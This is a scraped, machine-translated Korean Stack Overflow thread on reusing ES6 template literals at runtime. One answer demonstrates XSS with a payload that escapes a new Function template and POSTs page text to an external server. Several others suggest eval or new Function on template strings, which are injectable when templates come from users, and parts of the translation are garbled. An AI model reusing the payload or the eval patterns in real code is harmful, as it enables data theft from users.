ES6 템플릿 리터럴을 런타임에 대체(또는 재사용)할 수 있습니까?
tl;dr: 재사용 가능한 템플릿을 문자 그대로 만드는 것이 가능합니까?
템플릿 리터럴을 사용하려고 했는데 이해가 안 돼서 답답하네요.제 말은, 저는 이해한다고 생각하지만, "그것"이 어떻게 작동하는지 또는 어떻게 되어야 하는지가 되어서는 안 됩니다.달라져야 합니다.
제가 보는 모든 예(태그가 달린 템플릿도 있음)는 "대체"를 실행 시간이 아닌 선언 시간에 수행할 것을 요구합니다. 이는 템플릿에 전혀 쓸모가 없어 보입니다.제가 미쳤을 수도 있지만, 제게 "템플릿"은 토큰이 포함된 문서입니다. 토큰을 만들 때가 아니라 토큰을 사용할 때 대체됩니다. 그렇지 않으면 문서(즉, 문자열)일 뿐입니다.템플릿은 토큰과 함께 토큰으로 저장되며...평가할 때 해당 토큰이 평가됩니다.
모두가 다음과 유사한 끔찍한 예를 인용합니다.
var a = 'asd';
return `Worthless ${a}!`
좋아요, 하지만 제가 이미 알고 있다면요a
는 그냥 ㅠㅠㅠㅠreturn 'Worthless asd'
또는return 'Worthless '+a
무슨 의미가 있습니까? 더 , 더 가독성요점은 게으름입니다. 더 적은 플러스, 더 많은 가독성입니다. 그건.하지만 그건 템플릿이 아닙니다!IMHO 말고요.그리고 중요한 것은 MHO뿐입니다!IMHO의 문제는 템플릿이 선언될 때 평가된다는 것입니다. 따라서 선언되면 IMHO:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
때부터expletive
선되지 않다니습았과 같은 합니다. 다음과 같은 것을 출력합니다.My undefined template
잘 하는 군요.사실, 적어도 크롬에서는, 나는 템플릿을 선언할 수도 없습니다; 그것은 오류를 던집니다; 왜냐하면.expletive
정의되지 않았습니다.템플릿을 선언한 후 대체 작업을 수행할 수 있어야 합니다.
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
하지만 저는 이것들이 실제로 템플릿이 아니기 때문에 어떻게 이것이 가능한지 모르겠습니다.태그를 사용해야 한다고 해도 작동하지 않습니다.
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
이 모든 것은 템플릿 리터럴이 끔찍하게 잘못 이름 지어졌고 그들이 실제로 무엇인지 불러야 한다고 믿게 만들었습니다: heredocs.제 생각에 "문법적인" 부분이 제게 귀띔을 해줬어야 했나요?
내가 뭘 빼놓았나요?재사용 가능한 템플릿을 문자 그대로 만드는 (좋은) 방법이 있습니까?
재사용 가능한 템플릿 리터럴을 제공합니다.
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
그리고 여기 순진한 "도우미" 기능이 있습니다.
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...더 나은 것으로 만들기 위해.
저는 그것들이 뒤틀린 느낌을 만들어내는 부분 때문에 그것들을 템플릿 내장이라고 부르는 경향이 있습니다.
이러한 리터럴이 다른 템플릿 엔진처럼 작동하려면 중간 형식이 필요합니다.
이 작업을 수행하는 가장 좋은 방법은 다음을 사용하는 것입니다.Function
생성자
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
다른 템플릿 엔진과 마찬가지로 파일과 같은 다른 위치에서 해당 문자열을 가져올 수 있습니다.
이 방법을 사용하면 일부 문제가 나타날 수 있습니다(예: 템플릿 태그를 추가하는 것이 더 어려울 수 있음).또한 인터폴이 늦기 때문에 인라인 자바스크립트 로직을 가질 수 없습니다.이것은 또한 약간의 생각으로 해결될 수 있습니다.
다음 함수에 템플릿 문자열을 넣을 수 있습니다.
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
태그가 지정된 템플릿에서도 동일한 작업을 수행할 수 있습니다.
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
이 아이디어는 템플릿 파서가 변수 "슬롯"에서 상수 문자열을 분할한 다음 매번 새로운 값 집합을 기반으로 모든 문자열을 다시 패치하는 함수를 반환하는 것입니다.
이를 위한 가장 깨끗한 방법은 화살표 기능을 사용하는 것입니다(이 시점에서는 이미 ES6를 사용하고 있기 때문).
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
...태그가 지정된 템플릿 리터럴의 경우:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
이는 또한 의 사용을 방지합니다.eval()
또는Function()
컴파일러에 문제가 발생하고 속도가 느려질 수 있습니다.
, 하여 예, 템JS로 지정할 수 있습니다.Function
(또는)eval
) - 그러나 이것은 권장되지 않으며 XSS 공격을 허용합니다.
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.
Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
대신 객체를 안전하게 삽입할 수 있습니다.obj
str
과 같이
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);
중첩된 개체에서 필드를 읽으려면(여기) 시도
let deep = (o,k) => k.split('.').reduce((a,c,i) => {
let m=c.match(/(.*?)\[(\d*)\]/);
if(m && a!=null && a[m[1]]!=null) return a[m[1]][+m[2]];
return a==null ? a: a[c];
},o);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> deep(obj,g));
// --- test ---
// parameters in object
let t1 = 'My name is ${users[0].name}, I am ${users[0].info.age}.';
let r1 = inject(t1, {users: [{name: 'JOHN', info: {age: 23}}]} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "My name is ${0} - ${0} ${1.data[0].surname}."
let r2 = inject(t2, ['John', {data:[{surname: 'Smith'}]}] );
console.log("ARRAY :", r2);
@metamorphasi가 제공하는 답변 단순화;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
2021년에 가장 간단한 해결책이 나왔습니다.
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
그것은 단지 템플릿 리터럴을 쓰고 재사용하는 것과 거의 같습니다(OP가 원했던 것).
당신은 여기서 뭔가를 바꿀 수 있습니다.
내가 뭘 빼놓았나요?재사용 가능한 템플릿을 문자 그대로 만드는 [좋은] 방법이 있습니까?
아마도 제가 뭔가를 놓치고 있는 것 같습니다. 왜냐하면 이 문제에 대한 저의 해결책이 너무 명백해서 아무도 이미 그렇게 오래된 질문에 그것을 쓰지 않았다는 것이 매우 놀랍기 때문입니다.
나는 그것을 위한 거의 한 줄기 선이 있습니다.
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
이상입니다.템플릿을 재사용하고 대체 문제 해결을 연기하려면 다음 작업을 수행합니다.
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'
console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");
▁a다▁returns▁applying니를 반환됩니다.function
의 경우)string
리터럴에 전달된 매개 변수를 무시합니다.그런 다음 나중에 새 매개 변수를 사용하여 호출할 수 있습니다.치환이 .undefined
.
확장 응답
이 간단한 코드는 기능적이지만, 만약 당신이 더 정교한 행동이 필요하다면, 같은 논리가 적용될 수 있고 무한한 가능성이 있습니다.할 수 있는 일:
- 원래 매개 변수를 사용합니다.
리터럴에 전달된 원래 값을 구성에 저장하고 템플릿을 적용할 때 창의적인 방법으로 사용할 수 있습니다.플래그, 형식 검증기, 함수 등이 될 수 있습니다.다음은 이 값을 기본값으로 사용하는 예입니다.
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'
console.log(a);
- 템플릿 팩토리 작성:
이 논리를 인수로 묶어서 축소(템플릿 리터럴 조각을 결합할 때)에 적용할 수 있는 사용자 지정 함수를 예상하고 사용자 지정 동작이 있는 새 템플릿을 반환하는 함수로 묶어서 수행합니다.
그런 다음 내장 html, css, sql, bash...를 쓸 때 매개 변수를 자동으로 이스케이프하거나 검사하는 템플릿을 작성할 수 있습니다.
이 새로운 SQL 템플릿을 사용하면 다음과 같은 쿼리를 작성할 수 있습니다.
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
console.log(a);
대체할 명명된 매개 변수 허용:이미 주어진 것에 기초한 그다지 어렵지 않은 연습.이 다른 답변에는 구현이 있습니다.
반환 개체가 다음과 같이 동작하도록 합니다.
'string'
글쎄요, 이것은 논란의 여지가 있지만, 흥미로운 결과로 이어질 수 있습니다.이 다른 답변에 표시됩니다.호출 사이트의 글로벌 네임스페이스 내에서 매개 변수를 확인합니다.
재사용 가능한 템플릿 리터럴을 제공합니다.
이게 OP가 보여준 것이 그의 부록입니다, 명령을 사용해서.
evil
eval
이 작업은 다음 작업 없이 수행될 수 있습니다.eval
전달된 변수 이름을 전역(또는 창) 개체로 검색하기만 하면 됩니다.나는 그것이 싫어서 그것을 어떻게 하는지 보여주지 않을 것입니다.폐쇄는 올바른 선택입니다.
2019년 답변:
참고: 라이브러리는 원래 사용자가 XSS를 피하기 위해 문자열을 검사할 것으로 예상했습니다.라이브러리 버전 2에서는 더 이상 사용자 문자열을 검사할 필요가 없습니다(웹 개발자가 수행해야 하는 작업).eval
완전히.
npm의 모듈은 이를 수행합니다.
const fillTemplate = require('es6-dynamic-template');
현재 답변과 달리:
- 비슷한 형식이 아닌 ES6 템플릿 문자열을 사용합니다.업데이트 버전 2에서는 사용자가 인증되지 않은 입력 문자열을 사용하지 못하도록 ES6 템플릿 문자열이 아닌 유사한 형식을 사용합니다.
- 은 없다습니가 .
this
- 템플릿 문자열 및 변수를 단일 함수로 지정할 수 있습니다.
- StackOverflow에서 복사한 파스타가 아닌 유지 관리되고 업데이트 가능한 모듈입니다.
사용법은 간단합니다.템플릿 문자열은 나중에 확인되므로 작은 따옴표를 사용합니다!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
간단한 대답은 lodash에서 _.template를 사용하는 것입니다.
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
템플릿의 변수를 된 매개 를 들어 " " " " " " " " " " " " " " "/ " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "${0}
,${this.something}
또는${data.something}
범위 지정을 처리하는 템플릿 기능을 사용할 수 있습니다.
이러한 템플릿을 호출하는 방법의 예:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
템플릿 기능:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
이 경우의 특이한 점은 ES6 템플릿 리터럴을 반환하는 함수(예: 화살표 함수 사용)를 전달하기만 하면 된다는 것입니다.저는 우리가 추구하는 재사용 가능한 보간법을 얻기 위한 작은 절충안이라고 생각합니다.
GitHub: https://github.com/Adelphos/ES6-Reuseable-Template 에 있습니다.
@Quentin-Engles의 훌륭한 아이디어와 최고의 답변 덕분에 저는 시작하게 되었습니다!
하지만 매번 Function을 반환하는 대신 새로운 Function을 변수에 직접 저장했습니다. 따라서 Function과 템플릿 리터럴은 모두 Quentin의 답변처럼 호출할 때마다가 아니라 한 번만 작성됩니다.
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.
IE 8,9,10,11과 같은 템플릿 문자열 지원이 없는 브라우저에서도 클라이언트 측에서 작동하는 간단한 것(고정 변수 필드, 계산 없음, 조건 등)을 찾고 있다면,
갑니다.
fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}
으로 저는하는 것에 합니다.eval()
하지만 이 경우에는 다음과 같이 이해가 있습니다.
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
그런 다음 값을 변경하고 eval()을 다시 호출하면 새 결과가 나타납니다.
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
함수로 사용하려면 다음과 같이 쓸 수 있습니다.
function populate(a, b){
return `${a}.${b}`;
}
다음과 같이 한 줄로 태그가 지정된 템플릿을 사용할 수 있습니다.
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
클라이언트 코드에서는 다음과 같이 사용합니다.
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
이것이 제 최선의 시도입니다.
var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'
일반화 방법:
var s = (<variable names you want>) => {return `<template with those variables>`}
E6를 실행하지 않는 경우 다음 작업도 수행할 수 있습니다.
var s = function(<variable names you want>){return `<template with those variables>`}
이것은 이전 답변보다 조금 더 간결한 것 같습니다.
https://repl.it/ @abalter/reuseable-JS-template-literal
타이핑에 필요한 여분의 중복성에 짜증이 났습니다.this.
그래서 저는 또한 해서 매번, 그서나정을추규가확변다니장습수했서를해와 같은 했습니다..a
this.a
.
솔루션:
const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);
다음과 같이 사용:
console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};
console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter
업데이트됨:다음 답변은 단일 변수 이름으로 제한되므로 템플릿은 다음과 같습니다.'Result ${a+b}'
이 경우에는 유효하지 않습니다.그러나 항상 템플릿 값을 사용하여 재생할 수 있습니다.
format("This is a test: ${a_b}", {a_b: a+b});
원답:
이전 답변을 기반으로 하지만 보다 "친근한" 유틸리티 기능을 생성합니다.
var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);
return tpl_func.call(params);
}
다음과 같이 호출할 수 있습니다.
format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});
그리고 결과 문자열은 다음과 같아야 합니다.
'This is a test: Hola, second param: Hi'
저는 이 일을 간단히 할 수 있는 npm 패키지를 하나만 게시합니다.이 대답에 깊은 영감을 받았습니다.
const Template = require('dynamic-template-string');
var tpl = new Template('hello ${name}');
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';
그것의 구현은 매우 간단합니다.마음에 드셨으면 좋겠습니다.
module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}
fill(data) {
return this._func.call(data);
}
}
다음과 같은 인라인 화살표 기능을 사용할 수 있습니다. 정의:
const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;
용도:
console.log(template('my replaced string'));
런타임 템플릿 문자열
var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};
시험
console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
다음 기능을 사용하여 템플릿을 동적으로 확인하고 새 데이터를 제공할 수 있습니다.
이는 태그가 지정된 템플릿 리터럴이라는 Javascript의 일반적이지 않은 기능을 사용합니다.
function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}
const person = 'Lydia';
const age = 21;
template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?
이것을 접했을 때 저는 큰 두통을 겪었습니다.Javascript의 리터럴 템플릿은 매우 멋지지만 재사용 가능하거나 동적 값을 가진 ****입니다.하지만 해결책은 놀라울 정도로 간단합니다.사실 저는 파서, 포맷터, 그리고 모든 것이 끝난 다른 해결책들을 코딩하는 데 며칠을 보낸 후 몇 번이나 제 자신을 걷어차야 했습니다.결국 제가 그 아이디어를 포기하고 콧수염이나 다른 템플릿 모듈을 사용하려고 한 후, 그것이 저를 덮쳤습니다...
const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }
//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'
그리고 그것이 그녀가 쓴 전부입니다.
Angular를 사용하는 경우 다음을 사용할 수 있습니다.@ngx-translate/core
패키지는 다음과 같습니다.
import { TranslateDefaultParser } from '@ngx-translate/core';
export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
}
...
}
다음을 사용하여 이 보간 템플릿을 해결했습니다.
function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}
function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}
const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};
const interpolated = interpolate(template, values);
console.log(interpolated);
제가 전혀 알지 못했던 자바스크립트 기능에 대해 가르쳐준 다른 답변들에 대한 모든 소품들입니다. 저는 문자열 템플릿 리터럴에 대해 알고 있었지만 부모 없이 함수를 호출할 수는 없었습니다!
가 알고 있는이 붙은 로 재사용 을 정말 하는 . 그것은 허용합니다.any
문자열로 자동 변환되기 때문에 입력합니다. 하지만 전략이 싫다면 직접 조정할 수 있습니다.
/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
* const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
* const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
* // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* @returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}
언급URL : https://stackoverflow.com/questions/30003353/can-es6-template-literals-be-substituted-at-runtime-or-reused
'source' 카테고리의 다른 글
JSONP 요청 반환 오류: "Uncaught SyntaxError:예기치 않은 토큰 :" (0) | 2023.08.07 |
---|---|
Git repo의 하위 디렉터리만 Heroku에 배포/푸시하려면 어떻게 해야 합니까? (0) | 2023.08.07 |
시간에 대해 NULL을 삽입합니다.JSON에서 디코딩된 시간 (0) | 2023.08.07 |
대규모 데이터베이스에서 typahead.js를 사용하는 방법 (0) | 2023.08.07 |
PHP 확장자를 만드는 방법 (0) | 2023.08.07 |